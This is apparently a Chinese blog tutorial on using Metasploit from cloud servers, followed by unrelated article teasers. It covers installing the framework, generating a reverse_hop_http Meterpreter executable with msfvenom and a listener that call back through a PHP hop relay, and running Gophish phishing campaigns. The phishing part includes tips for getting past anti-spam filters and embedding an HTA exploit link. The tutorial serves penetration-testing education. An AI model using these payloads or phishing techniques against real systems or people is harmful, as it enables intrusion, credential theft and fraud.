Metasploit渗透测试之在云服务器中使用MSF

概述

随着云计算的发展,对基于云的应用程序、服务和基础设施的测试也在不断增加。在对云部署进行渗透测试时,最大的问题之一是共享所有权。过去,在进行渗透测试时,企业会拥有网络上的所有组件,我们可以对它们进行全部测试;而在云环境中,根据部署和服务模式的不同,我们的测试范围可能非常有限。

作为渗透测试人员开始使用云计算之前,先了解一些术语:

  • provider(提供商)是构建云部署的实体,它向一个或多个tenants (租户)提供服务;租户是与提供商签订服务合同的人。

  • 基础设施即服务 (IaaS):这是一种云服务模型,提供商提供硬件和网络连接,租户负责虚拟机及其上运行的所有软件。这意味着大多数组件都在租户控制范围内。

  • 平台即服务(PaaS): 在这种模式下,提供商负责提供硬件、网络连接、运行应用程序所需的组件、操作系统和依赖项;租户只负责提供和维护应用程序。

  • 软件即服务 (SaaS):SaaS 是一种即开即用解决方案;所有组件均由提供商提供和维护,我们几乎无法进行测试。

# 1、在云服务器中使用Metasploit

在前面文章中,已经向大家展示了如何在 DigitalOcean Droplet 中使用 Metasploit。在本节中,将讲解如何在云中部署 Metasploit,以及其他的一些选项。

# 准备工作

使用你熟悉的云服务平台,比如阿里云、腾讯云创建一个实例,系统选择Ubuntu22.04 64bit,内存2GB,硬盘大于40GB

image-20230831134757244

然后使用如下命令安装Metasploit

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

安装完成后,使用 msfconsole 来启动 Metasploit

root@iZj6cfmowyi6om20qcudx6Z:~# msfconsole 
       =[ metasploit v6.3.32-dev-                         ]
+ -- --=[ 2346 exploits - 1220 auxiliary - 413 post       ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Enable verbose logging with set VERBOSE 
true
Metasploit Documentation: https://docs.metasploit.com/

msf6 > 

# 更多平台

如果在AzureAmazon AWS中,可以直接选择Kali Linux镜像进行部署虚拟机。

snipaste_20230901_160258

如果你不想仅仅为了运行Metasploit而麻烦地部署新系统,也可以使用Google Cloud Shell

image-20230831135629548

直接用命令安装即可:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

image-20230831135741919

然后msfconsole启动

image-20230831135944577

# 2、Metasploit PHP Hop

在本教程中,将学习如何使用 Windows Meterpreter(反射注入)和反向跃点 HTTP/HTTPS Stage 攻击载荷。此攻击载荷允许我们通过 HTTP 或 HTTPS 代理进行隧道通信。首先,需要将metasploit-framework/data/php/目录中的hop.php文件上传到远程服务器,可以使用任何带有 PHP 的 Web 服务器。

# 准备工作

在云服务器上安装phpapache,在Ubuntu22.04上直接运行apt install php将会自动安装phpapache

接下来,复制hop.php/var/www/html/ 目录并启动 Apache2 服务

~# cp /opt/metasploit-framework/embedded/framework/data/php/hop.php /var/www/html/
# 怎么做

1、使用windows/meterpreter/reverse_hop_http攻击载荷,并创建一个二进制文件

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_hop_http HOPURL=http://192.168.91.140/hop.php -f exe -o hopper.exe

2、创建攻击载荷后,启用监听器

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_hop_http 
payload => windows/meterpreter/reverse_hop_http
msf6 exploit(multi/handler) > set HOPURL http://192.168.91.140/hop.php
HOPURL => http://8.217.184.170/hop.php
msf6 exploit(multi/handler) > exploit

[*] Preparing stage for next session 7D_Mcis5_VA82zzbWCsM4wOYrh5TKZEldZisSMKF8jq042260UfHb4Sdmj-tPwvdL6qHzRp0W0FGrlXODAA6BfsWIJK7K8-vyIc0BUa
[*] Uploaded stage to hop http://192.168.91.140/hop.php?/

一旦受害者运行攻击载荷,我们就会通过php Hop中继获得目标上的新会话。

在新版本中,这个功能已不可用,在msf4中可以正常使用。

# 3、来自云端的网络钓鱼

网络钓鱼是访问组织的最有效方法之一,但是,创建网络钓鱼活动可能是一项艰巨的任务,尤其是在您的邮件服务器最终被阻止的情况下。因此,使用云服务来托管我们的网络钓鱼框架并为我们的网络钓鱼电子邮件提供服务可能是解决我们问题的绝佳方法。

# 准备工作

对于我们的网络钓鱼活动,我们可以使用 Gophish,这是一个网络钓鱼框架,可以轻松测试组织对网络钓鱼的暴露程度。首先,你可以从官方网站 https://getgophish.com 下载 Gophish;然后,解压并运行 gophish

wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
└─$ ./gophish 
time="2023-09-04T12:37:36+08:00" level=warning msg="No contact address has been configured."
time="2023-09-04T12:37:36+08:00" level=warning msg="Please consider adding a contact_address entry in your config.json"
goose: migrating db environment 'production', current version: 0, target: 20220321133237
OK    20160118194630_init.sql
OK    20160131153104_0.1.2_add_event_details.sql
OK    20160211211220_0.1.2_add_ignore_cert_errors.sql
OK    20160217211342_0.1.2_create_from_col_results.sql
OK    20160225173824_0.1.2_capture_credentials.sql
OK    20160227180335_0.1.2_store-smtp-settings.sql
OK    20160317214457_0.2_redirect_url.sql
OK    20160605210903_0.2_campaign_scheduling.sql
OK    20170104220731_0.2_result_statuses.sql
OK    20170219122503_0.2.1_email_headers.sql
OK    20170827141312_0.4_utc_dates.sql
OK    20171027213457_0.4.1_maillogs.sql
OK    20171208201932_0.4.1_next_send_date.sql
OK    20180223101813_0.5.1_user_reporting.sql
OK    20180524203752_0.7.0_result_last_modified.sql
OK    20180527213648_0.7.0_store_email_request.sql
OK    20180830215615_0.7.0_send_by_date.sql
OK    20190105192341_0.8.0_rbac.sql
OK    20191104103306_0.9.0_create_webhooks.sql
OK    20200116000000_0.9.0_imap.sql
OK    20200619000000_0.11.0_password_policy.sql
OK    20200730000000_0.11.0_imap_ignore_cert_errors.sql
OK    20200914000000_0.11.0_last_login.sql
OK    20201201000000_0.11.0_account_locked.sql
OK    20220321133237_0.4.1_envelope_sender.sql
time="2023-09-04T12:37:37+08:00" level=info msg="Please login with the username admin and the password 07263bcd463ec9fb"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting IMAP monitor manager"
time="2023-09-04T12:37:37+08:00" level=info msg="Background Worker Started Successfully - Waiting for Campaigns"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting phishing server at http://0.0.0.0:80"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting new IMAP monitor for user admin"
time="2023-09-04T12:37:37+08:00" level=info msg="Creating new self-signed certificates for administration interface"
time="2023-09-04T12:37:37+08:00" level=info msg="TLS Certificate Generation complete"
time="2023-09-04T12:37:37+08:00" level=info msg="Starting admin server at https://127.0.0.1:3333"

要更改配置文件,请修改config.json

─$ cat config.json 
{
	"admin_server": {
		"listen_url": "0.0.0.0:3333",
		"use_tls": true,
		"cert_path": "gophish_admin.crt",
		"key_path": "gophish_admin.key",
		"trusted_origins": []
	},
	"phish_server": {
		"listen_url": "0.0.0.0:80",
		"use_tls": false,
		"cert_path": "example.crt",
		"key_path": "example.key"
	},
	"db_name": "sqlite3",
	"db_path": "gophish.db",
	"migrations_prefix": "db/db_",
	"contact_address": "",
	"logging": {
		"filename": "",
		"level": ""
	}
}

如果想降低钓鱼页面被发现的风险性,可以使用 Let's Encrypt 生成免费的 TLS 证书,并使用它来配置 Gophish 以通过 HTTPS 提供网络钓鱼 URL。

设置好配置文件后,重新启动gophish,使用一次性密码登录

─$ sudo ./gophish 
time="2023-09-04T12:44:49+08:00" level=warning msg="No contact address has been configured."
time="2023-09-04T12:44:49+08:00" level=warning msg="Please consider adding a contact_address entry in your config.json"
goose: no migrations to run. current version: 20220321133237
time="2023-09-04T12:44:49+08:00" level=info msg="Please login with the username admin and the password 63a853117929ea31"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting IMAP monitor manager"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting phishing server at http://0.0.0.0:80"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting new IMAP monitor for user admin"
time="2023-09-04T12:44:49+08:00" level=info msg="Background Worker Started Successfully - Waiting for Campaigns"
time="2023-09-04T12:44:49+08:00" level=info msg="Starting admin server at https://0.0.0.0:3333"

然后按照页面提示修改管理员密码

# 如何操作

通过管理仪表盘来配置网络钓鱼活动

image-20230904124730826

要发送电子邮件,首先需要在发送配置文件部分中配置 SMTP 中继详细信息:

image-20230904124914486

在为网络钓鱼活动设置电子邮件服务器时,不要忘记像在常规电子邮件服务器中一样配置 SPFDKIM 和 DMARC;这将使你的服务器看起来合法,并有更好的机会绕过反垃圾邮件技术。

确保网络钓鱼电子邮件到达目标收件人的一种方法是使用托管企业电子邮件解决方案,例如 Zoho Mail。只需访问 https://www.zoho.com/mail/,创建一个免费的企业电子邮件帐户,然后就可以开始了。它甚至允许设置自定义域,可以使用它来加强网络钓鱼活动的可信度。

在本教程中,不会介绍具体如何使用 Gophish 设置和配置网络钓鱼活动。可以参考Gophish官方手册:https://docs.getgophish.com/user-guide/

举例:通过Gophish结合 Metasploit HTA Web 服务器漏洞利用模块在网络钓鱼电子邮件中嵌入 HTML 应用程序链接,当目标打开电子邮件并运行 HTA 时,获得一个新的msf会话。

当然不仅仅局限于此,可以发挥你的想象,使用其他手段达到目的。

# 4、利用云服务构建渗透测试实验室

测试新工具和技术是渗透测试人员工作的重要组成部分。每天都会有新的工具被创造出来,新的技术也会被发现,所以要跟上行业的步伐。我们必须投入大量时间练习和掌握渗透测试所需工具。拥有一个可以设置实验室环境和实践的数据中心不太现实,而且可能非常昂贵。但随着云服务变得更便宜、更快、更容易使用,我们可以利用云平台建立我们自己的渗透测试实验环境。

# 怎么操作

Azure为例;创建一个免费帐户,你可以获得 200 美元试用额度。你会发现只需单击几下鼠标即可创建像本书中使用的那样的实验室环境。

部署易受攻击的机器的最大问题之一是控制它们并且不将它们暴露在互联网上。为此,我们可以创建一个虚拟网络,该网络将使用此网络服务在 Microsoft Azure 中创建一个逻辑上隔离的部分。这样,我们就可以使用私有 IP 地址、定义子网、使用我们自己的 DNS 服务器以及使用虚拟设备创建复杂的网络拓扑。

image-20230904131224347

若要详细了解如何创建虚拟网络,可以参考Azure的文档:

https://docs.microsoft.com/en-us/azure/virtual-network/quick-create-portal

Google Cloud Platform 和 Amazon Web Services (AWS) 也是出色的云服务,你可以在其上构建实验室;与 Azure 一样,都有免费试用的机会。

# 其他平台

如果你只是想练习,不想建立自己的实验室,你可以尝试一下 Hack The Box,访问 https://www.hackthebox.eu/,Hack The Box 是一个在线网站,该平台允许你通过一系列挑战来测试你的技能,其中一些挑战是模拟的现实场景,另一是 CTF 挑战。

你还可以访问 https://www.vulnhub.com/,下载一些存在漏洞的靶机,然后在自己的设备上运行和进行渗透测试练习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/908660.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2016年7月和8月NASA的气候成像(ATom)-1飞行活动期间测量的黑碳(BC)质量混合比(单位为ng BC / kg空气)

目录 简介 摘要 代码 引用 网址推荐 知识星球 机器学习 简介 ATom: Black Carbon Mass Mixing Ratios from ATom-1 Flights 该数据集提供了在2016年7月和8月NASA的气候成像(ATom)-1飞行活动期间测量的黑碳(BC)质量混合比&…

关于各链 Meme Launchpad

随着Web3生态的迅猛发展,区块链领域诞生了大量创意无限的meme项目,逐渐引起了广泛关注。这些meme项目不仅展示了加密社区的活力与创造力,也为投资者提供了新的机会和玩法。 然而,meme项目的快速崛起也带来了筛选优质项目和发现市场…

C语言 | Leetcode C语言题解之第537题复数乘法

题目: 题解: bool parseComplexNumber(const char * num, int * real, int * image) {char *token strtok(num, "");*real atoi(token);token strtok(NULL, "i");*image atoi(token);return true; };char * complexNumberMulti…

C# 日志框架 NLog、log4net 和 Serilog对比

文章目录 前言NLog、log4net 和 Serilog 三个框架的详细对比:一、NLog优点:缺点:二、 log4net优点缺点三、Serilog优点缺点四、Serilog使用举例总结前言 NLog、log4net 和 Serilog 三个框架的详细对比: NLog、log4net 和 Serilog 是三个非常流行的 .NET 日志框架,它们各自…

助力风力发电风机设备智能化巡检,基于YOLOv8全系列【n/s/m/l/x】参数模型开发构建无人机巡检场景下风机叶片缺陷问题智能化检测预警模型

在全球能源转型的大潮中,清洁环境能源的发展已成为各国关注的焦点。风力发电作为其中的佼佼者,以其可再生、无污染的特点,受到了广泛的青睐。然而,风力发电设施大多建于人迹罕至的地区,设备庞大且复杂,其维…

RV1126-SDK学习之OSD实现原理

RV1126-SDK学习之OSD实现原理 前言 本文简单记录一下我在学习RV1126的SDK当中OSD绘制的原理的过程。 在学习OSD的过程当中,可能需要补充的基础知识: OSD是什么? BMP图像文件格式大致组成? 图像调色(Palette&#…

BFV/BGV全同态加密方案浅析

本文主要为翻译内容,原文地址:Introduction to the BFV encryption scheme、https://www.inferati.com/blog/fhe-schemes-bgv 之前的一篇博客我们翻译了CKKS全同态加密方案的内容,但该篇上下文中有一些知识要点,作者在BFV/BGV中已…

前端小练习——星辰宇宙(JS没有上限!!!)

前言:在刚开始学习前端的时候,我们会学习到前端三件套中的JavaScript,可能那时候读者没有觉得JavaScript这个语言有多么的牛逼,本篇文章将会使用一个炫酷的案例来刷新你对JavaScript这个语言的认知与理解。 ✨✨✨这里是秋刀鱼不做…

JavaScript 生成二维码

我试过了,这一款js库支持中英文混合。 进入网站后,可以直接点击运行哟~ https://andi.cn/page/621821.html

Vue全栈开发旅游网项目(6)-接口开发

1.景点详情接口开发 1.设计响应数据结构 文件地址:sight/serializers.py 创建类: class SightDetailSerializers(BaseSerializer):#景点详情def to_dict(self):obj self.objreturn {id: obj.id,name: obj.name,desc: obj.desc,img: obj.banner_img.…

【嵌入式】STM32中的SPI通信

SPI是由摩托罗拉公司开发的一种通用数据总线,其中由四根通信线,支持总线挂载多设备(一主多从),是一种同步全双工的协议。主要是实现主控芯片和外挂芯片之间的交流。这样可以使得STM32可以访问并控制各种外部芯片。本文…

微服务系列一:基础拆分实践

目录 前言 一、认识微服务 1.1 单体架构 VS 微服务架构 1.2 微服务的集大成者:SpringCloud 1.3 微服务拆分原则 1.4 微服务拆分方式 二、微服务拆分入门步骤 :以拆分商品模块为例 三、服务注册订阅与远程调用:以拆分购物车为例 3.1 …

密码学简要介绍

密码学是研究编制密码和破译密码的技术科学,它研究密码变化的客观规律,主要包括编码学和破译学两大部分。 一、定义与起源 定义:密码学是研究如何隐密地传递信息的学科,在现代特别指对信息以及其传输的数学性研究,常被…

苄基异喹啉类生物碱的微生物合成-文献精读77

苄基异喹啉类生物碱的微生物合成研究进展及挑战 摘要 微生物发酵是一种经济高效、可持续的生产方式,可替代植物种植和化学合成来生产多种植物来源的药物。苄基异喹啉类生物碱作为植物来源生物碱的典型代表,具有多种重要的生理活性,已成为极具…

Centos安装配置Jenkins

下载安装 注意:推荐的LTS版本对部分插件不适配,直接用最新的版本,jenkins还需要用到git和maven,服务器上已经安装,可查看参考文档[1]、[2],本次不再演示 访问开始使用 Jenkins 下载jenkins 上传至服务器…

【进度猫-注册/登录安全分析报告】

前言 由于网站注册入口容易被黑客攻击,存在如下安全问题: 暴力破解密码,造成用户信息泄露短信盗刷的安全问题,影响业务及导致用户投诉带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞…

【前端基础】盒子模型

目标&#xff1a;掌握盒子模型组成部分&#xff0c;使用盒子模型布局网页区域 01-选择器 结构伪类选择器 基本使用 作用&#xff1a;根据元素的结构关系查找元素。 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8">…

Webserver(2.8)守护进程

目录 守护进程案例 守护进程案例 每隔2s获取系统时间&#xff0c;将这个时间写入到磁盘文件中 #include<stdio.h> #include<sys/stat.h> #include<sys/types.h> #include<unistd.h> #include<fcntl.h> #include<sys/time.h> #include<…

基于SpringBoot+微信小程序+协同过滤算法+二维码订单位置跟踪的农产品销售平台-新

✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取项目下载方式&#x1f345; 一、项目背景介绍&#xff1a; “农产品商城”小程序…

Windows 10 安装使用Docker踩过的坑和解决-31/10/2024

目录 环境版本 一、Docker Desktop双击启动没反应&#xff0c;open //./pipe/dockerDesktopLinuxEngine: The system cannot find the file specified. 二、Docker Desktop运行run命令时显示错误HTTP code 500 并且错误大意是服务器拒绝访问 三、Docker Engine stopped/启动…